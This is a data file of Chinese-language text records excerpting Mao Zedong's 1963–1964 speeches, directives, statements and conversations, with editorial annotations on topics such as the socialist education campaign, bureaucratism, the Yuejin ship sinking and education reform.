，变成法西斯党，整个中国就要改变颜色了。请同志们想一想，这是一种多么危险的情景啊！ 解决这个问题是不是很困难呢？并不很困难。只要看到问题的严重性，经过调查研究收集了可靠的材料，明了了情况，下定了决心，政策和方法又都是正确的，又有政治上强有力的几个同志作为核心领导，那末，就一个公社的范围来说，有几个星期就够了，就一个县来说，有几个月也就够了，就一个省来说，分期分批，搞好搞透，大约需要一年、二年，或者更多一点时间。因为这一次社会主义教育运动是一次伟大的革命运动，不但包括阶级斗争问题，而且包括干部参加劳动的问题，而且包括用严格的科学态度，经过实验，学会在企业和事业中解决一批问题这样的工作。看起来很困难，实际上只要认真对待，并不难解决。这一场斗争是重新教育人的斗争，是重新组织革命的阶级队伍，向着正在对我们猖狂进攻的资本主义势力和封建势力作尖锐的针锋相对的斗争，把他们的反革命气焰压下去，把这些势力中间的绝大多数人改造成为新人的伟大的运动，又是干部和群众一道参加生产劳动和科学实验，使我们的党进一步成为更加光荣、更加伟大、更加正确的党，使我们的干部成为既懂政治、又懂业务、又红又专，不是浮在上面、做官当老爷、脱离群众，而是同群众打成一片，受群众拥护的真正的好干部。这一次教育运动完成以后，全国将会出现一种欣欣向荣的气象。差不多占地球四分之一的人类出现了这样的气象，我们的国际主义的贡献也就会更大了。 注 释 * 这是毛泽东同志写在中共浙江省委办公厅一九六三年四月编印的《一批干部参加劳动的材料》上的批语。毛泽东在审阅这批材料时，将封页上的题目改为《浙江省七个关于干部参加劳动的好材料》。后来，这个批语连同浙江省七个材料作为中发〔63〕347号中共中央文件（即《前十条》）的附件七印发。 〔1〕 这七个材料是：（一）中共平阳县城西人民公社委员会书记廖锡龙写的《我们是怎样坚持参加生产、领导生产的》；（二）钱天镇写的《应四官劳动好、工作也好》，应四官是中共宁海县越溪公社越溪大队支部书记；（三）章轶仲写的中共金华县汤溪公社汤溪大队支部书记、老劳模陈双田访问记《怎样才能更多地参加劳动？》；（四）中共桐庐县委副书记娄秉宜写的《严如湛同志三下后进队》，严如湛是中共桐庐县俞赵公社俞家大队支部副书记兼大队长；（五）中共瑞安县委书记季殿凯写的《隆山公社生产大队干部参加劳动》；（六）中共余杭县委农村工作部的调查报告《余杭县五常公社大队干部参加劳动好》；（七）中共青田县委书记袁长泽写的《五年来干部坚持种试验田的体会》。"},
    {"text": "人的正确思想是从哪里来的？ 人的正确思想是从哪里来的？ * （一九六三年五月二十日） 人的正确思想是从哪里来的？是从天上掉下来的吗？不是。是自己头脑里固有的吗？不是。人的正确思想，只能从社会实践中来，只能从社会的生产斗争、阶级斗争和科学实验这三项实践中来。人们的社会存在，决定人们的思想。而代表先进阶级的正确思想，一旦被群众掌握，就会变成改造社会、改造世界的物质力量。人们在社会实践中从事各项斗争，有了丰富的经验，有成功的，有失败的。无数客观外界的现象通过人的眼、耳、鼻、舌、身这五个官能反映到自己的头脑中来，开始是感性认识。这种感性认识的材料积累多了，就会产生一个飞跃，变成了理性认识，这就是思想。这是一个认识过程。这是整个认识过程的第一个阶段，即由客观物质到主观精神的阶段，由存在到思想的阶段。这时候的精神、思想（包括理论、政策、计划、办法）是否正确地反映了客观外界的规律，还是没有证明的，还不能确定是否正确，然后又有认识过程的第二个阶段，即由精神到物质的阶段，由思想到存在的阶段，这就是把第一个阶段得到的认识放到社会实践中去，看这些理论、政策、计划、办法等等是否能得到预期的成功。一般的说来，成功了的就是正确的，失败了的就是错误的，特别是人类对自然界的斗争是如此。在社会斗争中，代表先进阶级的势力，有时候有些失败，并不是因为思想不正确，而是因为在斗争力量的对比上，先进势力这一方，暂时还不如反动势力那一方，所以暂时失败了，但是以后总有一天会要成功的。人们的认识经过实践的考验，又会产生一个飞跃。这次飞跃，比起前一次飞跃来，意义更加伟大。因为只有这一次飞跃，才能证明认识的第一次飞跃，即从客观外界的反映过程中得到的思想、理论、政策、计划、办法等等，究竟是正确的还是错误的，此外再无别的检验真理的办法。而无产阶级认识世界的目的，只是为了改造世界，此外再无别的目的。一个正确的认识，往往需要经过由物质到精神，由精神到物质，即由实践到认识，由认识到实践这样多次的反复，才能够完成。这就是马克思主义的认识论，就是辩证唯物论的认识论。现在我们的同志中，有很多人还不懂得这个认识论的道理。问他的思想、意见、政策、方法、计划、结论、滔滔不绝的演说、大块的文章，是从哪里得来的，他觉得是个怪问题，回答不出来。对于物质可以变成精神，精神可以变成物质这样日常生活中常见的飞跃现象，也觉得不可理解。因此，对我们的同志，应当进行辩证唯物论的认识论的教育，以便端正思想，善于调查研究，总结经验，克服困难，少犯错误，做好工作，努力奋斗，建设一个社会主义的伟大强国，并且帮助世界被压迫被剥削的广大人民，完成我们应当担负的国际主义的伟大义务。 注 释 * 这是毛泽东同志主持起草的《中共中央关于目前农村工作中若干问题的决定》（草案）的节选。"},
    {"text": "论反对官僚主义 论反对官僚主义 * （一九六三年五月二十九日） 我们这些机关高高在上，官僚主义是容易犯的弊病，有了官僚主义，必然对上闹分裂主义。"},
    {"text": "官僚主义，思想上表现和个人主义、分散主义、本位主义、自由主义、命令主义、事务主义、组织上的宗派主义、自由主义相结合的，因此官僚主义也必然联系到这些主义。"},
    {"text": "不了解下情，不作调查研究，因而脱离实际，脱离领导。 不作政治思想工作，不抓具体政策，上脱离领导，下脱离实际，一旦发号施令，必然祸国殃民。 这是脱离领导、脱离群众的官僚主义。"},
    {"text": "十、送文件不看就批，批错了不承认，文件听别人读，别人读他睡着了，心中无数，不和人商量事情推来推去不负责，对下不懂装懂，指手划脚，对同级貌合神离，同床异梦。"},
    {"text": "不作为普通劳动者，不同群众同甘共苦，政治上空谈，不老实，不负责任，不能、无用，埋头于事务主义，搞特殊化，自私自利，闹不团结，搞宗派，最后发展蜕化变质。"},
    {"text": "官僚主义的思想根源、阶级社会根源、历史根源、思想根源，是剥削阶级的思想作风，既有资产阶级的个人主义、实用主义，也有封建的家长制。"},
    {"text": "历史根源：我们的革命打碎了旧的国家机器，建立了新的国家机器，但旧的统治势力，传统影响，旧人员包下来，政策是对的，但带来了副作用，一九五一年“三反”重点是反贪污，一九五七年重点是反右，去年主要是批判了分散主义，所以历年来没有把官僚主义当成重点来搞。"},
    {"text": "〔1〕 跃进号事件：一九五八年十一月二十七日，由大连造船厂建造的新中国第一艘万吨远洋货轮下水，交通部将这艘远洋货轮命名为“跃进号”。 这艘由苏联设计的万吨巨轮的庞大船体，是在一九五八年年国庆节前夕正式铺上船台开工建造的，到十一月二十七日建成下水只用了五十八天时间，这样的速度在当时是很快的，甚至超过了造船速度最快的日本建造万吨级货轮平均三个月的船台周期。 一九六三年四月三十日，“跃进”轮载着一万三千四百吨吨玉米、矿产品和杂货，于下午三时五十八分从青岛启航，按“青岛——上海长江口（不进港）——日本门司”航线迂回曲折行驶。"},
    {"text": "五月一日十三时五十五分，“跃进”轮报告了在韩国济州岛南八十海里左右、近日本海的苏岩礁海域的船位，随即又发出“我轮受击、损坏严重”的密电。"},
    {"text": "“跃进号”上的五十九名船员分乘三艘救生艇在海上漂流时，被日本渔船“壹岐丸号”救起，船上二副为推卸责任，说是被鱼雷击中，甚至说“看见一只潜艇在沉船区域露出水面，有三个美国兵样子的人在舷楼哈哈大笑”。"},
    {"text": "五月一日夜间，日本的全亚细亚广播电台在新闻节目里向全世界披露：中国国产的第一艘万吨级远洋货轮“跃进”号在来日本途中因腹部命中三发鱼雷而沉没，这一消息犹如原子弹爆炸一样，迅速传遍全球，立即掀起轩然大波，世界各国均感震惊。"},
    {"text": "须知，在和平时期攻击商船，意味着对该国的宣战，将可能引起局部乃至世界性的战争，况且当时正处于冷战状态的国际形势，更具有导火线式的危险性。"},
    {"text": "事件惊动了毛泽东主席和周恩来总理，周总理亲自组织人调查，调查查明，当时虽然有海图标明航线上有苏岩礁，但是由于船员计算船位失误，还是撞上了礁石并沉没。"},
    {"text": "支持美国黑人反对种族歧视斗争的声明 支持美国黑人 反对种族歧视斗争的声明 * （一九六三年八月八日） 现在在古巴避难的一位美国黑人领袖、美国全国有色人种协进会北卡罗来纳州门罗分会前任主席罗伯特·威廉先生，今年曾经两次要求我发表声明，支援美国黑人反对种族歧视的斗争。我愿意借这个机会，代表中国人民，对美国黑人反对种族歧视、争取自由和平等权利的斗争，表示坚决的支持。 美国黑人共一千九百余万人，约占美国总人口的百分之十一。他们在社会中处于被奴役、被压迫和被歧视的地位。绝大部分黑人被剥夺了选举权。他们一般只能从事最笨重和最受轻视的劳动。他们的平均工资只及白人的三分之一到二分之一。他们的失业率最高。他们在许多州不能同白人同校读书，同桌吃饭，同乘公共汽车或者火车旅行。美国各级政府、三K党 〔1〕 和其他种族主义者经常任意逮捕、拷打和残杀黑人。在美国南部的十一个州，集居着美国黑人的百分之五十左右。在那里，美国黑人所受到的歧视和迫害，是特别骇人听闻的。 美国黑人正在觉醒，他们的反抗日益强烈。近几年来，美国黑人反对种族歧视、争取自由和平等权利的群众性斗争，有日益发展的趋势。 一九五七年，阿肯色州小石城的黑人，为了反对当地公立学校不准黑人入学，展开了剧烈的斗争。当局使用了武装力量来对付他们，造成了震动世界的小石城事件。 一九六〇年，二十多个州的黑人举行了静坐示威，抗议当地餐馆、商店和其他公共场所实行种族隔离。 一九六一年，黑人为了反对在乘车方面实行种族隔离，举行了“自由乘客运动”，这个运动迅速地遍及好几个州。 一九六二年，密西西比州的黑人为争取进入大学的平等权利而进行的斗争，遭到当局镇压，造成流血惨案。 今年，美国黑人的斗争是四月初从亚拉巴马州伯明翰市开始的。赤手空拳、手无寸铁的黑人群众，只是由于举行集会和游行，反对种族歧视，竟然遭到大规模的逮捕和最野蛮的镇压。六月十二日，密西西比州的黑人领袖梅加·埃弗斯甚至惨遭杀害。被激怒了的黑人群众，不畏强暴，更加英勇地进行斗争，并且迅速地得到美国各地广大黑人和各阶层人民的支持。目前，一个全国性的声势浩大、波澜壮阔的斗争，正在美国的几乎每一个州和每一个城市展开，而且还在继续高涨。美国黑人团体已经决定在八月二十八日举行二十五万人的向华盛顿的“自由进军”。 美国黑人斗争的迅速发展是美国国内阶级斗争和民族斗争日益尖锐化的表现，引起了美国统治集团日益严重的不安。肯尼迪 〔2〕 政府采取了阴险的两面手法。它一方面继续纵容和参与对黑人的歧视和迫害，甚至派遣军队进行镇压；另一方面，又装出一副主张“维护人权”、“保障黑人公民权利”的面孔，呼吁黑人“忍耐”，在国会里提出一套所谓“民权计划”，企图麻痹黑人的斗志，欺骗国内群众。但是，肯尼迪政府的这种手法，已经被越来越多的黑人所识破。美国帝国主义对黑人的法西斯暴行，揭穿了美国的所谓民主和自由的本质，暴露了美国政府在国内的反动政策和在国外的侵略政策之间的内在联系。 我呼吁，全世界白色、黑色、黄色、棕色等各色人种中的工人、农民、革命的知识分子、开明的资产阶级分子和其他开明人士联合起来，反对美国帝国主义的种族歧视，支持美国黑人反对种族歧视的斗争。民族斗争，说到底，是一个阶级斗争问题。在美国压迫黑人的，只是白色人种中的反动统治集团。他们绝不能代表白色人种中占绝大多数的工人、农民、革命的知识分子和其他开明人士。目前，压迫、侵略和威胁全世界绝大多数民族和人民的，是以美国为首的一小撮帝国主义者和支持他们的各国反动派。他们是少数，我们是多数。全世界三十亿人口中，他们最多也不到百分之十。我深信，在全世界百分之九十以上的人民的支持下，美国黑人的正义斗争是一定要胜利的。万恶的殖民主义、帝国主义制度是随着奴役和贩卖黑人而兴盛起来的，它也必将随着黑色人种的彻底解放而告终。 注 释 * 这个声明是以毛泽东的名义发表的。 〔1〕 三K党，是美国的种族主义恐怖组织。一八六六年由美国南部奴隶主为镇压黑人和维护奴隶制度而建立，成为美国反动势力推行种族主义、实行法西斯统治的工具。 〔2〕 肯尼迪，时任美国总统。"},
    {"text": "全世界被压迫的民族和被压迫的人民，在争取政治、经济、文化方面的独立和解放的斗争中共同努力，争取从帝国主义和殖民主义的压迫下解放出来。"},
    {"text": "英国、法国、意大利等这些国家把非洲看做是它们的势力范围，美国要过问非洲就等于过问它们的内政，未经它们的同意，美国很难做什么事情。"},
    {"text": "毛：美国不承认我们，日本同我们没有外交关系，英国、荷兰同我们只是半建交关系，法、意、西德迄今与我们没有外交关系，还有跟它们走的土耳其、希腊、葡萄牙、西班牙、比利时也与我们没有外交关系。"},
    {"text": "革命和建设都要靠自己 革命和建设都要靠自己 * （一九六三年九月三日） 我们困难的时间只有两年半，就是一九六〇年、一九六一年和一九六二年上半年，一九六二年下半年情况就好起来了。粮食去年比前年增产一千多万吨。今年情况更好一点。虽然今年华北地区特别是河北和河南有水灾，但是全国可能比去年增产粮食一千万吨左右。现在我们正集中力量搞棉花、油料、烟叶和糖料。我们已经找到一条道路。我们有两种经验，错误的经验和正确的经验。正确的经验鼓励了我们，错误的经验教训了我们。苏联把专家撤走，撕毁了合同，这对我们有好处。我们没办法，就靠自己，靠自己两只手。后来苏联又后悔了，想再派专家来，要同我们做生意，我们不干。他们再派专家来，有朝一日他们又要撤走专家，撕毁合同。他们已经失去了我们的信任。正是在一九六〇年的这个时候，苏联撤走专家，到现在已经三年了，我们的工业建设搞出了许多自己的经验。离开了先生，学生就自己学。有先生有好处，也有坏处。不要先生，自己读书，自己写字，自己想问题。这是一条真理。过去我们就是由先生把着手学写字，从一九二一年党成立到一九三四年，我们就是吃了先生的亏，纲领由先生起草，中央全会的决议也由先生起草，特别是一九三四年，使我们遭到了很大的损失。从那之后，我们就懂得要自己想问题。我们认识中国，花了几十年时间。中国人不懂中国情况，这怎么行？真正懂得独立自主是从遵义会议开始的，这次会议批判了教条主义。教条主义者说苏联一切都对，不把苏联的经验同中国的实际相结合。马列主义普遍真理与中国具体实践相结合，这个口号就是在延安整风时提出的。这个口号写进了一九五七年莫斯科宣言，那里面说马列主义普遍真理要与各国的具体实践相结合。外国经验，不管是哪一个国家的，只能供参考。 注 释 * 这是毛泽东同志同由中央委员会主席迪·努·艾地率领的印度尼西亚共产党代表团的谈话的一部分。 关于文艺工作的批示 关于文艺工作的批示 * （一九六三年十二月十二日） 一 彭真、刘仁 〔1〕 同志： 此件 〔2〕 可一看，各种艺术形式——戏剧、曲艺、音乐、美术、舞蹈、电影、诗和文学等等，问题不少，人数很多，社会主义改造在许多部门中，至今收效甚微。许多部门至今还是“死人”统治着。不能低估电影、新诗、民歌、美术、小说的成绩，但其中的问题也不少。至于戏剧等部门，问题就更大了。社会经济基础已经改变了，为这个基础服务的上层建筑之一的艺术部门，至今还是大问题。这需要从调查研究着手，认真地抓起来。 二 许多共产党人热心提倡封建主义和资本主义的艺术，却不热心提倡社会主义的艺术，岂非咄咄怪事。 注 释 * 这是毛泽东同志写在写在中共中央宣传部文艺处一九六三年十二月九日编印的《文艺情况汇报》上的两个批语。 〔1〕 彭真，时任中共中央政治局委员、中央书记处书记、北京市委第一书记兼北京市市长。刘仁，时任中共北京市委第二书记。 〔2〕 指《文艺情况汇报》上登载的中共上海市委第一书记兼上海市市长柯庆施抓曲艺工作的材料。这份材料说，上海市委很注意曲艺等群众艺术工具，柯庆施曾亲自抓曲艺工作。一个是抓评弹的长篇新书目建设问题。他说，有没有更多的在思想上和艺术上都不错的长篇现代书目，是关系到社会主义文艺能不能占领阵地的问题。另一个是抓故事员的问题。故事员在市郊配合社会主义教育运动大讲革命故事，起到了红色宣传员的作用，很受群众的欢迎。市委要求各级党组织重视这一活动，并可在城市中推广。"},
    {"text": "加强相互学习，克服固步自封、骄傲自满 加强相互学习， 克服固步自封、骄傲自满 * （一九六三年十二月十三日） 各中央局，各省、市、区党委，军委，中央各人民团体党委，各部委会党委、党组： 现将湖南省委李瑞山、华国锋两同志一九六三年十一月六日写的一个参观广东农业生产情况的报告 〔1〕 以及附在上面的湖南省委一九六三年十二月七日写的一个指示 〔2〕 ，发给你们研究。中央认为，这种虚心学习外省、外市、外区优良经验的态度和办法，是很好的，是发展我国经济、政治、思想、文化、军事、党务的重要方法之一。固步自封，骄傲自满，对于自己所管区域的工作，不采取马克思主义的辩证分析方法（一分为二，既有成绩，也有缺点错误），只研究成绩一方面，不研究缺点错误一方面。只爱听赞扬的话，不爱听批评的话。对于外省、外市、外区、别的单位的工作，很少有兴趣组织得力高级中级干部去虚心地认真地加以考察，以便和本省、本市、本区、本单位的情况结合起来，加以改进。永远限于本地区本单位这个狭隘世界，不能打开自己的眼界，不知还有别的新天地，这叫做夜郎自大。对外国人、外地人以及中央派下去的人，只让看好的，不让看坏的。只向他们谈成绩，不向他们谈缺点及错误，要谈也谈得不深刻，敷衍几句了事。中央多次对同志们提出这个问题，认为一个共产党人必须具备对于成绩与缺点、真理与错误这个两分法的马克思主义辩证思想。事物（经济、政治、思想、文化、军事、党务等等）总是作为过程而向前发展的。而任何一个过程，都是由矛盾着的两个侧面互相联系又互相斗争而得到发展的。这应当是马克思主义者的普通常识。但是，中央和各地同志中，有许多人却很少认真地用这种观点去思索去工作。他们的头脑，长期存在着形而上学的思想方法而不能解脱。所谓形而上学，就是否认事物的对立统一、对立斗争（两分法）、矛盾着对立着的事物在一定条件下互相转化走向它们的反面，这样一个真理；就是人们固步自封、骄傲自满，只见成绩，不见缺点，只愿听好话，不愿听批评话，自己不愿意批评（对自己的两分法），更怕别人批评。中央有几十个部，明明有几个工作成绩工作作风较好的部，例如石油部，别的部却视若无睹，永远不去那里考察研究请教一番。一个部所管企业事业，明明有许多厂矿、企业、事业、科学研究处所及其人员，工作做得较好，上面却不知道，因而也不能提倡人们向那些单位学习。同志们，中央在这里所说的犯有形而上学错误的同志是指一部分同志，不是指全部同志。但是，应当指出，有大量的好同志却被那些高官厚禄、养尊处优、骄傲自满、固步自封、爱好资产阶级形而上学的同志们，亦即官僚主义者，所压住了，现在必须加以改革。凡不虚心地认真地对本地本单位本人作分析，对别地别单位别人作分析，拒绝马克思主义辩证分析方法的同志，要进行同志式的劝告和批评，以便把不良情况改变过来。把向别部、别省、别市、别区、别单位的好经验、好作风、好方法学过来这样一种方法，定为制度。这个问题是一个大问题，请你们加以讨论。以后还要在中央工作会议及中央全会上加以讨论。湖南省委过去在一个时期内，不作调查研究，主观主义地下达许多指示，往下灌的东西多，由下面反映上来的真实情况少，因而脱离群众，产生很大困难。从一九六一年起，他们开始改变了，以至情况大好起来。但是他们认为还是远不如广东和上海，所以他们派遣大批省、地、县三级干部，还有省和市的干部，组成两个考察团，分别到广东上海去学习。这一点，请你们注意研究，是否也可以这样办。中央认为，不但可以而且应当这样办。如有不同意见，请你们提出。 注 释 * 这是毛泽东同志为中共中央起草的党内指示。 〔1〕 中共湖南省委书记处书记李瑞山、华国锋给中共湖南省委的报告说：参观广东省的农业生产，感到广东省在一直坚持大办水利、推广良种、合理密植、办劳动大学方面，在贯彻以粮为纲、全面发展、多种经营的方针方面，在提高单位面积产量方面，在抓水、抓肥、抓种子方面，在抓经济政策方面，在农业生产上走群众路线、大搞群众运动方面，都非常突出。通过参观，大家感到扩大了眼界，解放了思想，开阔了胸襟增强了信心，鼓舞了干劲。同时也学习了许多宝贵的经验。应当把广东的经验同湖南的具体情况结合起来，因地制宜地加以运用和推广。 〔2〕 中共湖南省委转发李瑞山、华国锋的报告给湖南各地、市、县委，省委各部门，各厅局党组的指示说：省委认为，这个报告很重要，必须一直发到公社党委和厂矿党委。让大家照照镜子，展开讨论，把从先进地区、先进单位学来的经验，很好地运用到我们自己的工作中去。学习外地经验要和总结自己的经验相结合。同时，领导亲自搞试点是特别重要的。只有树立出了样板，才能带动全面，取得更显著的成效。"},
    {"text": "不搞科学技术，生产力无法提高 不搞科学技术， 生产力无法提高 * （一九六三年十二月十六日） 社会科学也要有一个十年规划。社会科学落后了，这回没有搞规划。社会科学也要投一点资。 有一本杂志《自然辩证法研究通讯》，曾停了很久，现在复刊了。复刊了就好。现在第二期已经出了。 要有革命精神和严格的科学态度。 科学技术这一仗，一定要打，而且必须打好。过去我们打的是上层建筑的仗，是建立人民政权、人民军队。建立这些上层建筑干什么呢？就是要搞生产。搞上层建筑、搞生产关系的目的就是解放生产力。现在生产关系是改变了，就要提高生产力。不搞科学技术，生产力无法提高。 科学研究有实用的，还有理论的。要加强理论研究，要有专人搞，不搞理论是不行的。要培养一批懂得理论的人才，也可以从工人农民中间来培养。我们这些人要懂得些自然科学理论，如医学方面、生物学方面。 死光 〔1〕 ，要组织一批人专门去研究它。要有一小批人吃了饭不做别的事，专门研究它。没有成绩不要紧。军事上除进攻武器外，要注意防御问题的研究，也许我们将来在作战中主要是防御。进攻武器，比原子弹的数量我们比不赢人家。战争历来都需要攻防两手，筑城、挖山洞都是防嘛。秦始皇 〔2〕 的万里长城没有多大用处。我们准备做一些蠢事，要搞地下工厂、地下铁道，逐年地搞。 三大革命运动中的科学实验，主要是指自然科学。社会科学的研究不能完全采用实验的方法。例如研究政治经济学不能用实验方法，要用抽象法，这是马克思在《资本论》里说的 〔3〕 。商品、战争、辩证法等，是观察了千百次现象才能得出理论概括的。 注 释 * 这是毛泽东同志在听取国务院副总理兼国家科学技术委员会主任聂荣臻汇报十年科学技术规划时插话的节录。 〔1〕 死光，即激光。 〔2〕 秦始皇，即赢政（公元前二五九——前二一〇），秦王朝的建立者。 〔3〕 见马克思《资本论》一八六七年第一版序言。原文是：“分析经济形式，既不能用显微镜，也不能用化学试剂。二者都必须用抽象力来代替。”（《马克思恩格斯选集》第2卷，人民出版社1995年版，第99页）"},
    {"text": "我国还可能要走一段资本主义复辟的道路 我国还可能要走一段 资本主义复辟的道路 * （一九六四年一月） 如果我们和我们的后代不能时刻提高警惕，不能逐步提高人民群众的觉悟，社会主义教育工作做得不深不透，各级领导权不是掌握在真正的马克思主义者手里，而被修正主义者所篡夺，则我国还可能要走一段资本主义复辟的道路。 注 释 * 这是毛泽东同志在徐冰《关于中央统战部几年来若干政策理论性问题的检查总结》 〔1〕 上加写的一段话 〔2〕 。 〔1〕 中共中央统战部副部长徐冰一九六三年五月二十七日作的这个检查总结，主要是不点名地批判统战部部长李维汉自一九五六年以来在政策理论方面提出的若干意见。总结共分七个部分： （一）关于消灭资产阶级的问题。在这个问题上我们发生过的原则性错误，主要是对于阶级斗争的长期性、曲折性和复杂性认识不足，想过早地消灭资产阶级。这种主观上想比较快、比较早地消灭资产阶级，客观上却起了保留它的作用，发展下去，必然会导致阶级斗争熄灭论和削弱无产阶级专政。（二）关于人的改造问题。应当肯定十几年来对资产阶级分子和资产阶级知识分子改造的成绩；另一方面还必须看到这种改造的长期性，即使是他们中的一些人已经改造成为劳动者或劳动人民的知识分子，我们同他们在思想上有时甚至是政治上的两条道路的阶级斗争，也还要继续一个很长的时期。另外，由于资产阶级思想影响的长期存在，小生产者资本主义自发势力还没有消灭，必然会恢复和再生长出新的资产阶级分子。对于新生的资产阶级分子，我们必须坚决予以打击。（三）关于资产阶级“左派”的问题。过去说资产阶级左派在政治立场上是工人阶级的一部分，他们已经从资产阶级中分化出来，这是错误的。（四）关于民主党派的性质问题。过去我们曾提出五年或更长一点时间内，把民主党派由资产阶级性的政党改造成为社会主义性的政党，在民主党派从中央到基层各级组织，基本上建立起巩固的社会主义领导核心，这种提法是错误的。各民主党派怎么也不能成为科学共产主义的政党。一九六二年全国统战会议期间提出的，对民主党派今后一般不再叫它为资产阶级性的政党，模糊了民主党派的阶级性质，应当加以纠正。（五）关于统一战线的性质问题。我们的人民民主统一战线是以工人阶级为领导，工农联盟为基础，包括各民主阶级、各民主党派、少数民族、宗教界、华侨和其他爱国人士的广泛的联盟。它一方面含有社会主义性质的内容，另一方面又是阶级的联盟。不能说，统一战线已经是社会主义统一战线了。（六）关于改造右派分子的工作问题。一九六二年七月我们提出的，如果领导上认为需要和右派分子本人或其家属要求甄别的就进行甄别的意见，是错误的。那样做客观上必然会形成对右派分子普遍甄别平反，这势必导致否定一九五七年反右斗争的伟大成绩，后果是严重的。（七）关于中央统战部几年来工作的估计。几年来，中央统战部在中央直接领导下，执行了中央和主席的方针、政策和指示，方向是正确的，成绩是主要的。另一方面，我们在若干政策理论性问题的认识上，长期存在着一些原则性的错误，主要是阶级观点不够明确，缺乏阶级斗争的长期观点和全局观点，把资产阶级人们和民主党派的社会主义改造看得过于容易和简单了。 这个总结经毛泽东审阅修改后，中共中央于一九六四年一月十三日以中发〔64〕26号文件批转各中央局、各省市区党委，并中央各部委、各党组。一九八〇年八月十八日，中央统战部在关于为李维汉同志彻底平反、恢复政治名誉的复查报告中，建议撤销这个中央文件。同年十一月二十日，中央书记处讨论同意了这个建议。 〔2〕 毛泽东这段话加写在徐冰作的检查总结中关于消灭资产阶级的问题部分以下一段话之后：“历史的发展告诉我们：只要世界上还有帝国主义、资本主义、各国反动派和现代修正主义存在，这些阴风总会不时地吹到我们国内来，不只会影响原来的资产阶级人们，甚至也会使一些共产党员变质，对于资产阶级和它的思想就不能完全彻底干净消灭之。阶级社会在我们国家存在了几千年，资产阶级的存在也有百多年，花几十年甚至几百年的时间，消灭阶级差别、城乡差别和体力劳动者与脑力劳动者的差别来完成从资本主义到共产主义的过渡，是一个伟大的成就，对世界也会发生伟大的影响。这并不是什么遥遥无期，还是把时间放长一点好，我们从来就有欲速则不达的谚语。”这段话中的“资本主义、各国反动派”是毛泽东加写的，“甚至几百年”，是毛泽东改写的，原稿为“甚至上百年”。"},
    {"text": "我曾经同你们前总理富尔先生谈过，希望你们把欧洲的工作做好，例如，使英国、西德、比利时、意大利等等国家同美国隔开一些，同你们靠拢一些。"},
    {"text": "请你们记住，我同法国议员代表团说过，它们是大纸老虎，但是不包括广大的苏联人民、广大的苏联党员和干部，他们对我们是友好的，美国人民有一部分人受了欺骗，总有一天他们要同我们友好的。"},
    {"text": "关于教育革命的谈话 关于教育革命的谈话 * （一九六四年二月十三日、一九六五年十二月二十一日） 我早就说过，我们的教育方针，应该使受教育者在德育、智育、体育几方面都得到发展，成为有社会主义觉悟的有文化的劳动者。"},
    {"text": "从小学到大学，一共十六、七年，二十多年看不见稻、菽、麦、黍、稷，看不见工人怎样做工，看不见农民怎样种田，看不见商品是怎么交换的，身体也搞坏了，真是害死人。"},
    {"text": "注 释 * 这是毛泽东同志一九六四年二月十三日在春节座谈会上的讲话和一九六五年十二月二十一日在杭州会议上讲话的整理，最初收录在《毛泽东论教育革命》（人民出版社依一九六七年十二月出版），出版前经毛泽东审定。"},
    {"text": "以农业为基础，以工业为主导 以农业为基础，以工业为主导 * （一九六四年六月六日、六月八日、六月十六日） 一、六月六日的讲话 ——以农业为基础，以工业为主导 制定计划的方法，过去基本上是学苏联的，比较容易做：先定下来多少钢，然后根据这来计算要多少煤，多少电，多少运输力量，等等；"},
    {"text": "计划不能只靠加、减、乘、除。 计算出来了，各部门、各地区，就分数字、争人、争钱、打官司，要政治挂帅，要有全局观点，不是根据那个地区自己的愿望，而是根据客观存在，事物本身的规律，来安排计划。"},
    {"text": "第二条，要为大多数人民谋利益，为中国人民大多数谋利益，为世界人民大多数谋利益，不是为少数人，不是为剥削阶级，不是为资产阶级，不是为地、富、反、坏、右。"},
    {"text": "不纯才成其为自然界，成其为社会。 完全的纯就不成其为自然界，不成其为社会，不合乎辩证规律。 不纯是绝对的，纯是相对的，这就是对立的统一。"},
    {"text": "要讲民主，不要“一言堂”，一开会就自己讲几个钟头，不让人家讲话。 不要开会时赞成，会后又翻案，又说不赞成。 共产党人要搞民主作风，不能搞家长作风。"},
    {"text": "这一期间在陈永贵的带领下，大寨人从山下担土到山上，造起了汗涝保收的人工梯田，平均个劳动力搬运土石方作业量达一千多立方米，担土八十多万担；"},
    {"text": "一九六四年二月十日，《人民日报》刊登了新华社记者的通讯报道《大寨之路》，介绍了大寨村的先进事迹，并配发社论《用革命精神建设山区的好榜样》，号召中国人民学习大寨的战天斗地的精神，全国掀起了学习大寨热。 周恩来总理将大寨精神概括为三句话，即：“政治挂帅、思想领先的原则，自力更生、艰苦奋斗的精神，爱国家、爱集体的共产主义风格。"},
    {"text": "中国曾和英国进行了几次战争，如一八四〇年在广东开始的鸦片战争 〔1〕 ，又如八国联军的战争 〔2〕 ，英国等八个国家的军队占领了天津，打到北京。"},
    {"text": "但是，对被压迫人民的反对帝国主义的战争我们是支持的。 对古巴、阿尔及利亚的革命战争，我们是支持的； 对越南南方人民反对美国帝国主义的战争，我们也是支持的。"},
    {"text": "〔1〕 鸦片战争，是一八四〇年至一八四二年英国对中国发动的侵略战争。 一八四〇年，英国政府因中国反对输入鸦片，借口保护通商，派兵侵略中国。"},
    {"text": "侵略者先后攻陷大沽、天津、北京等地，同时沙俄又单独入侵中国东北，迫使清政府于一九〇一年九月七日同这些国家签订了不平等的《辛丑条约》。"},
    {"text": "一七七五年美国独立战争爆发后，任大陆军总司令，将武装落后、组织松散的地方民军整编训练成为能与英军正面抗衡的正规军，领导美国取得独立战争的胜利。"},
    {"text": "和王海蓉<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>同志的谈话 和王海蓉 〔1〕 同志的谈话 * （一九六四年六月二十四日） 王：我们学校的阶级斗争很尖锐，听说发现了反动标语，都有用英语的。就在我们英语系的黑板上。 毛：他写的是什么反动标语？ 王：我就知道这一条，蒋万岁。 毛：英语怎么讲？ 王：longlive蒋。 毛：还写了什么？ 王：别的不晓得，我就知道这一条，章会娴 〔2〕 告诉我的。 毛：好嘛！让他多写一些贴在外面，让大家看一看，他杀人不杀人？ 王：不知道杀人不杀人，如果查出来，我看要开除他，让他去劳动改造。 毛：只要他不杀人，不要开除他，也不要让他去劳动改造，让他留在学校里，继续学习，你们可以开一个会，让他讲一讲，蒋介石为什么好？蒋介石做了哪些好事？你们也可以讲一讲蒋介石为什么不好？你们学校有多少人？ 王：大概有三千多人，其中包括教职员。 毛：你们三千多人中间最好有七、八个蒋介石分子。 王：出一个就不得了，还要有七、八个，那还了得？ 毛：我看你这个人啊！看到一张反动标语就紧张了。 王：为什么要七、八个呢？ 毛：多几个就可以树立对立面，可以作反面教员，只要他不杀人。 